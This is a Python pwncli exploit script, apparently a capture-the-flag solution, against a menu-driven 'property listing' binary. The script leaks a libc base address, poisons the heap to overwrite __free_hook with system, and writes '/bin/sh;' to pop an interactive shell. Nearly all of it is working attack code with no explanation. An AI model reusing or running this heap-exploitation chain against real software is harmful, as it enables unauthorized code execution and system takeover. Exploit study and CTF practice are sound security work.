1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def show():
sla("> ", "1")
def add(hn=1, sn=0x10, name="cafebeef", cn=0x10, a="y", c="deadbeef"):
sla("> ", "2")
sla("Enter the house number: ", str(hn))
sla("What is the length of the street name: ", str(sn))
sla("Enter the street name: ", name)
sla("What is the price of the property?: ", "1.1")
sla("Would you like to add a comment for this property? [y/n]: ", a)
if a =="y":
sla("What is the length of the comment?: ", str(cn))
sla("Enter the comment: ", c)
def remove():
sla("> ", "3")
def edit(cs="n", sl=0, sn=None, cc='y', cn=0, c="deadbeef"):
sla("> ", "4")
sla("Would you like to change the house number? [y/n]: ", 'n')
sla("Would you like to change the street? [y/n]: ", cs)
if cs == "y":
sla("Enter the new street name length: ", str(sl))
sla("Enter the new street name: ", sn)
sla("Would you like to change the price of the property? [y/n]: ", "n")
m = ru("comment")
sl(cc)
if cc == "n":
return
if b"Would you like to change" in m:
sla("Enter the new comment length: ", str(cn))
sla("Enter the new comment: ", c)
else:
sla("What is the length of the comment?: ", str(cn))
sla("Enter the comment: ", c)
def change(nn, name=None):
sla("> ", "5")
sla("What is the length of your new name?: ", str(nn))
if name:
sla("Enter your new name: ", name)
sla("Enter your name: ", "roderick")
add(cn=0x440)
change(0x20, "deadbeef")
remove()
add(a="n")
show()
libc_base = recv_current_libc_addr(offset=0x1ecbe0)
set_current_libc_base_and_log(libc_base, 0)
change(0x40, cyclic(0x30))
remove()
add(sn=0x40, cn=0x40)
remove()
change(0x40, p64(libc.sym.__free_hook))
add(sn=0x40, cn=0x40, c=p64(libc.sym.system))
change(0x40, "/bin/sh;")
change(0x100)
ia()
|